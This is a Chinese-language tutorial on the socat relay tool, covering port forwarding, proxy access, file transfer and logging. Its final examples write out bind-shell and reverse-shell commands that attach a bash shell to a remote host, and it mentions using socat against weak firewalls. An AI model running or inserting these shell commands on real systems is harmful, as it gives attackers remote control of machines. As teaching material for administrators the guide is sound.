如果您的工具箱需要高级一款高级系统管理工具,那 socat
就是其中一个。 socat
允许从一个位置到另一位置的双向数据传输,socat
实用程序是用于在两个独立数据通道之间进行双向数据传输的中继。
socat可以连接许多不同类型的通道,包括:
- 文件
- 管道
- 设备(串行线、伪终端等)
- Sockets(UNIX, IP4, IP6 - raw, UDP, TCP)
- SSL sockets
- 代理 CONNECT 连接
- 文件描述符(stdin 等)
- The GNU line editor (readline)
- 程序
- 以上任意两个的组合
socat
具被视为 netcat
的高级版本。 它们执行类似的操作,但是 socat
具有更多其他功能,例如允许多个客户端在端口上侦听或重用连接。
一、为什么需要 socat
?
有许多有效使用 socat
的方法。 这里有一些例子:
- TCP 端口转发器(单发或守护程序)
- 外部袜机
- 攻击弱防火墙的工具(安全和审核)
- Shell 与 Unix 套接字的接口
- IP6 中继
- 将面向 TCP 的程序重定向到串行线
- 逻辑连接不同计算机上的串行线
- 建立相对安全的环境(
su
和chroot
)以运行带有网络连接的客户端或服务器 Shell 脚本
二、怎样使用 socat
?
socat
的语法非常简单:
socat [options]
必须提供源地址和目标地址才能正常工作。 地址的语法为:
protocol:host:port
三、socat
使用实例
使用 socat
进行各种连接的一些基本示例:
1、连接到主机 TCP 8080 端口
$ socat - TCP4:www.example.com:8080
在这种情况下,socat
在 STDIO(-)和名为 www.example.com
主机 8080 端口建立的 TCP4 连接之间进行数据传输。
2、监听一个新端口
$ socat TCP-LISTEN:7000 -
3、使用 socat
作为 TCP 转发器
- 对于单连接:
$ socat TCP4-LISTEN:8081 TCP4:192.168.1.10:8080
- 对于多连接,使用
fork
选项:
$ socat TCP4-LISTEN:8081,fork,reuseaddr TCP4:TCP4:192.168.1.10:8080
侦听端口 8081,接受连接并将连接转发到远程主机.192.168.1.10
上的 8080 端口。
- Unix sock
$ socat TCP-LISTEN:3307,reuseaddr,fork UNIX-CONNECT:/var/lib/mysql/mysql.sock
侦听 3307 端口,接受连接并将连接转发到远程主机上的 Unix 套接字。
4、通过代理访问服务器
通过代理服务器访问目标主机,并在本机进行端口监听。把发到本机监听端口的数据转发到目标主机:
# SOCKS4 代理,貌似 socat 不支持 SOCKS5 代理
$ socat TCP4-LISTEN:<本地端口>,reuseaddr,fork \
SOCKS:::,socksport=,socksuser=
# HTTP 代理
$ socat TCP4-LISTEN:<本地端口>,reuseaddr,fork \
PROXY:::,proxyport=,proxyauth=:
同时,也可以将本地端口监听改为标准输入输出,以这种方式协助 ssh 通过代理访问目标主机。
如:以通过 HTTP 代理访问
# 主机:[email protected]
# 代理:http://proxyuser:[email protected]:30808
$ ssh -o \
ProxyCommand='socat - proxy:proxy.net:%h:%p,proxyport=30808,proxyauth=proxyuser:proxypwd' \
[email protected]
5、实现一个简单的基于网络的消息收集器:
$ socat -u TCP4-LISTEN:3334,reuseaddr,fork OPEN:/tmp/test.log,creat,append
在此示例中,当客户端连接到 3334 端口时,将生成一个新的子进程。 客户端发送的所有数据都将附加到文件 /tmp/test.log
。 如果文件不存在,则 socat
会创建它。 选项 reuseaddr
允许立即重启服务器进程。
6、文件操作
- 文件读写
# 从绝对路径读取
$ socat - /var/www/html/flag.php
# 从相对路径读取
# 注: 这里的路径一般是绝对路径,如果要使用相对路径记得要加上 ./
$ socat - ./flag.php
# 写入文件
$ echo "This is Test" | socat - /tmp/hello.html
- 文件传递
再看文件传递的例子。nc 也经常用来传递文件,但是 nc 有一个缺点,就是不知道文件什么时候传完了,一般要用Ctrl-C 来终止,或者估计一个时间,用 -w
参数来让他自动终止。用 socat
就不用这么麻烦了:
Host | Command |
---|---|
On host 1 | $ socat -u open:myfile.exe,binary tcp-listen:999 |
On host 2 | $ socat -u tcp:host1:999 open:myfile.exe,create,binary |
7、Shell
正向 Shell:
正向 Shell 就是 Server 提供网络监听以及启动 Shell,供 Client 控制
# Server - Linux 192.168.1.100
$ socat tcp-l:8888 system:bash,pty,stderr
# macOS
$ socat readline tcp:192.168.197.100:8888
反向 Shell:
反向 Shell 就是 Server 提供网络监听,Client 启动 Shell,在 Client 连接后对 Client 进行控制
# Server - Linux 192.168.1.100
$ socat tcp-l:8888 readline
# macOS
$ socat system:bash,pty,stderr tcp:192.168.197.100:8888
以上时相对比较常用的场景,其余更复杂的应用可以翻阅相关资料,有些特定场景有更方便的实现,如:NAT 映射,更推荐使用 frp,可参考《推荐一款很好用的内网穿透工具–frp》。
四、参考
- Getting started with socat, a multipurpose relay tool for Linux
- socat - Multipurpose relay
- socat(1) - Linux man page
- nc(1) - Linux man page
- socat 使用手册
- Socat 入门教程
socat
Document Officialsocat
Example Document Official- 3分钟搞懂反弹shell
- Cindy Sridharan - socat
(完)